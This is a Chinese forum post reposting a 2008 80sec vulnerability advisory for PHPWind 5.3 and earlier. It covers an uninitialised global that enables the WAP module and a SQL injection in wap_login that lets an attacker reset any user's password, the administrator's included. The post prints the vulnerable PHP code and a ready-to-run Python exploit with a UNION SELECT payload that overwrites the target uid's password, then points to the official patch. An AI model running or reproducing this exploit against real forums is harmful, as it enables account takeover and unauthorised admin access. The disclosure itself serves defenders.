   
- 帖子
- 416
- 积分
- 1324
- 威望
- 1596
- 金钱
- 656
- 在线时间
- 139 小时
          
|
phpwind任意修改管理员密码漏洞
漏洞说明:PHPWind 论坛系统 是一套采用 php+mysql 数据库 方式运行并可生成 html 页面的全新且完善的强大系统。因具有非凡的访问速度和卓越的负载能力而深受国内外朋友的喜爱。但是80sec在其中发现了一个安全漏洞,成功利用此漏洞可以直接修改管理员的密码进入后台,取得管理员权限。
漏洞厂商:http://www.phpwind.net
漏洞来源:http://www.80sec.com/release/phpwind-admin-pass-change-vul.txt
漏洞解析:在phpwind的wap模块中的字符转码程序存在问题,细节在http://www.80sec.com/php-coder-class-security-alert.html,但是80sec发现,在phpwind的wap模块中,该编码转换类存在更为严重的问题,甚至没有任何的条件,即使安装了iconv等编码模块一样受到该漏洞的影响,几乎没有条件限制。在phpwind中,wap是默认关闭的,但是我们发现在phpwind<=5.3版本中,变量存在全局没有初始化的问题,导致远程用户可以开启该模块,从而导致一个注射安全漏洞产生。
在phpwind中的注射漏洞中,phpwind过分相信从数据库中取出的变量,从而可能可以更改一些数据处理流程,导致任意修改其他用户的密码,包括管理员,问题代码在wap_mod.php中如下:
function wap_login($username,$password){
global $db,$timestamp,$onlineip,$db_ckpath,$db_ckdomain,$db_bbsurl;
$men=$db->get_one("SELECT m.uid,m.password,m.groupid,m.yz,md.onlineip FROM pw_members m LEFT JOIN pw_memberdata md ON md.uid=m.uid WHERE username='$username'");
if($men){
$e_login=explode("|",$men['onlineip']);
if($e_login[0]!=$onlineip.’ *’ || ($timestamp-$e_login[1])>600 || $e_login[2]>1 ){
$men_uid=$men['uid'];
$men_pwd=$men['password'];
$check_pwd=$password;
if($men['yz'] > 2){
wap_msg(’c');
}
if(strlen($men_pwd)==16){
$check_pwd=substr($password,8,16);/*支持 16 位 md5截取密码*/
}
if($men_pwd==$check_pwd){
if(strlen($men_pwd)==16){
$db->update(”UPDATE pw_members SET password=’$password’ WHERE uid=’$men_uid’”);
}
$L_groupid=(int)$men['groupid'];
Cookie(”ck_info”,$db_ckpath.”\t”.$db_ckdomain);
}else{
global $L_T;
$L_T=$e_login[2];
$L_T ? $L_T–:$L_T=5;
$F_login=”$onlineip *|$timestamp|$L_T”;
$db->update(”UPDATE pw_memberdata SET onlineip=’$F_login’ WHERE uid=’$men_uid’”);
wap_msg(’login_pwd_error’);
}
}else{
global $L_T;
$L_T=600-($timestamp-$e_login[1]);
wap_msg(’login_forbid’);
}
} else {
global $errorname;
$errorname=$username;
wap_msg(’user_not_exists’);
}
Cookie(”winduser”,StrCode($men_uid.”\t”.PwdCode($password)));
Cookie(’lastvisit’,”,0);
wap_msg(’wap_login’,'index.php’);
}
甚至不用注册账户,只要精心构造username即可利用此漏洞。
漏洞利用:80sec提供exploit如下:
import urllib2,httplib,sys
httplib.HTTPConnection.debuglevel = 1
cookies = urllib2.HTTPCookieProcessor()
opener = urllib2.build_opener(cookies)
argvs=sys.argv
data = "db_wapifopen=1&prog=login&pwuser=shit%c1'union select "+argvs[2]+”,mid(md5(123456),9,16),3,1,5/*&pwpwd=123456″
pwurl = “%s” % argvs[1]
pwurl = pwurl + “wap/index.php”
print “\r\n\r\nPhpwind Admin Pass Change Exploit”
print “Phpwind <=5.3 "
print "By 80sec "
print "python.exe "+argvs[0]+" http://www.80sec.com/pwforum/ 1\r\n"
print "\r\n[+]TargetForum: "+argvs[1]
print "[+]TargetId: "+argvs[2]
request = urllib2.Request(
url = pwurl ,
headers = {'Content-Type' : 'application/x-www-form-urlencoded','User-Agent': '80sec owned this'},
data = data)
f=opener.open(request)
headers=f.headers.dict
try :
cookie=headers["set-cookie"]
if cookie.index('winduser') :
print "[+]Exploit Success"
else : print "[-]Exploit Failed"
except:
print "[-]Exploit Failed"
漏洞修复:请及时打上官方最新补丁 http://www.phpwind.net/read-htm-tid-643202.html
[ 本帖最后由 saitojie 于 2008-8-7 02:03 编辑 ] |
|